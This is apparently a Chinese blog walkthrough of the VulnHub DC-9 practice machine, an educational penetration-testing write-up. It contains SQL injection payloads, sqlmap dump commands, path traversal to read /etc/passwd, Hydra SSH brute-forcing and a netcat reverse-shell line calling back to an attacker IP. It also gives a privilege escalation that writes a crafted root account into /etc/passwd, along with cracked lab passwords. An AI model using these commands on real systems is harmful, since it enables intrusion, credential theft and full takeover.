• VulnHub DC-9


    1. 🍬 博主介绍
    2. 👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
    3. ✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
    4. 🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
    5. 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
    6. 🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

    一、信息收集

    1.主机扫描

    扫描到靶机IP:192.168.103.209

    1. ┌──(root💀kali)-[~/桌面]
    2. └─# arp-scan -l

    2.端口扫描

    DC靶场系列的老样子,22、80端口

    但是发现22端口关闭了,一般渗透都是需要ssh连接或者说反弹shell之类的都是需要22端口开启的 ,所有说,后面我们会尝试把22端口开启

    1. ┌──(root💀kali)-[~/桌面]
    2. └─# nmap -sS -A -p- 192.168.103.209

    3.web页面

    访问80端口:

    点击manage,跳出登录窗口

    后续应该要收集信息,收集账号密码,登录

    4.目录扫描

    /config.php、/includes、/display.php、/search.php、/search.php

    1. ┌──(root💀kali)-[~/桌面]
    2. └─# dirsearch -u http://192.168.103.209

    1./config.php

    没有发现什么有价值的信息

    2./includes

    3.search.php

    点击search ,有个输入框,可以试试有没有sql注入

    输入框里面,输入1'or 1=1# 验证是否有sql注入

    发现,跳转到了这个界面,说明此页面应该是有SQL注入

    可以看出来,这个sql注入,是POST注入的

    5.sql注入

    一、手工注入

    求列数:

    search=1' union select 1,2,3,4,5,6#
    

    求数据库

    search=1' union select 1,2,3,4,5,database()#
    

    求表

    search=1' union select 1,2,3,4,5,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
    

    求字段

    search=1' union select 1,2,3,4,5,(select group_concat(column_name) from information_schema.columns where table_name='Users')#
    

    查看Username,Password字段的值

    1. search=1' union select 1,2,3,4,5,(select group_concat(concat_ws('~',Username,Password)) from Users)#

    1. ┌──(root💀kali)-[~/桌面]
    2. └─# hash-identifier "856f5de590ef37314e7c3bdf6f8a66dc"
    3. 判断密码是MD5加密的
    1. 账号:admin
    2. 密码:transorbital1

    二、sqlmap一把梭
    1. sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch #查看是否存在漏洞
    2. sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch --dbs #查看库
    3. sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch -D users --tables #查看表
    4. sqlmap -u "http://192.168.103.209/results.php" --data="search=1" --batch -D users -T UserDetails --dump #列出管理员账号密码(爆表)

    都是员工账号和密码,先放着不管了,再去把另一个数据库staff的数据表也爆一下,

    1. sqlmap -u "http://192.168.103.209/results.php" --data "search=1" -D Staff -tables
    2. sqlmap -u "http://192.168.103.209/results.php" --data "search=1" -D Staff -T Users --dump -batch

    账号密码:

    admin | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)  
    

    6.登录web页面

    1. 账号:admin
    2. 密码:transorbital1

    点击Add Record

    猜测可能存在文件包含漏洞,所以在manage.php的url处,接入file参数,读取/etc/passwd文件,在url后面加入?file=../../../../etc/passwd,顺利读取到/etc/passwd文件

    但是到这里不知该怎么进行下去了,我们再从头看看,发现22端口的流量被过滤了,所以查阅了一些资料,看了看一些教程,猜测这里可能存在knockd服务

    https://www.cnblogs.com/f-carey/p/16066178.htmlicon-default.png?t=N7T8https://www.cnblogs.com/f-carey/p/16066178.html

    1. knockd服务:
    2. 端口敲门服务,即:knockd服务。
    3. 该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,
    4. 使系统开启需要访问的服务端口,才能对外访问。
    5. 不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
    6. //默认文件是:
    7. /etc/knockd.conf

    接下来我们就是需要对其ssh依次敲门了,然后打开ssh服务,进行ssh远程连接

    通过文件包含读取knockd的默认配置文件/etc/knockd.conf

    依次对7469、8475、9842端口进行敲门,然后就可以开门,命令

    1. nmap -p 7469 192.168.103.209
    2. nmap -p 8475 192.168.103.209
    3. nmap -p 9842 192.168.103.209

    依次访问之后,重新扫描22端口,可发现ssh服务已经开启,可以访问

    把这里面的password和username保存在本地文件

    后面用九头蛇爆破然后利用ssh远程连接

    然后使用两个字典进行爆破

    1. ┌──(root💀kali)-[~/桌面]
    2. └─# hydra 192.168.103.209 -L user.txt -P passwd.txt ssh

    爆破的账号密码如下:

    1. 用户 密码
    2. chandlerb UrAG0D!
    3. joeyt Passw0rd
    4. janitor Ilovepeepee

    二、漏洞利用

    1.ssh连接

    1.chandlerb远程连接,没有发现什么目录

    1. ┌──(root💀kali)-[~/桌面]
    2. └─# ssh chandlerb@192.168.103.209

    2.joeyt

    也是一样

    3.janitor

    多了一个文件:.secrets-for-putin

    新发现了很多的账号和密码

    把这些都添加到开始的账号密码文件中

    1. passwords-found-on-post-it-notes.txt #密码
    2. /home #账号

    1. ┌──(root💀kali)-[~/桌面]
    2. └─# hydra 192.168.103.209 -L user.txt -P passwd.txt ssh

    新的账号和密码:

    1. 账号:fredf
    2. 密码:B4-Tru3-001
    1. ┌──(root💀kali)-[~/桌面]
    2. └─# ssh fredf@192.168.103.209

    2.sudo -l提权

    就是以root权限会进行执行/opt/devstuff/dist/test这个文件

    所有我们接下来要进入这个文件中,然后进行写入木马,然后进行反弹shell,然后拿到root权限

    echo 'nc -nv 192.168.103.129 1234 -c bash'>>/opt/devstuff/dist/test/test
    

    发现权限不够,写入失败

    3.openssl账户密码加密

    再回到上一个目录查看,在/opt/devstuff目录下发现了一个test.py脚本文件

    这是一个写入文件的脚本,生成一个密码用root权限执行脚本写入/etc/passwd文件,所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限

    现在我们回到kali,使用openssl工具创建一个本地的加密用户,

    1. ┌──(root💀kali)-[~/桌面]
    2. └─# openssl passwd -1 -salt admin1 admin1
    3. $1$admin1$QDqsIRd5/oAdiXk0vdS1C/

    跳转到/opt/devstuff/dist/test目录下使用echo命令在/tmp目录下创建一个文件,文件名自定义就行,我使用test2

    echo 'admin1:$1$admin1$QDqsIRd5/oAdiXk0vdS1C/:0:0::/root:/bin/bash' >> /tmp/test2
    

    执行sudo命令的时候,要在/opt/devstuff/dist/test目录下执行

    用sudo命令执行test文件将/tmp/test2的内容写入到/etc/passwd文件中

    sudo ./test /tmp/test2 /etc/passwd
    

    4.flag

  • 相关阅读:
    使用 Flask 和 WTForms 构建一个用户注册表单
    自动化测试定位不到元素怎么办?
    IDEA初始配置
    当鼠标移动到table的时候行列都有样式
    字符设备驱动详解
    Linux内核源码编译-built-in.o 文件编译生成过程
    CopyOnWriteArrayList源码分析
    endnote21从安装到使用!文献引用!Mac版
    分析 验证码处理servlet的逻辑
    java异常处理
  • 原文地址:https://blog.csdn.net/SENMINGya/article/details/134560679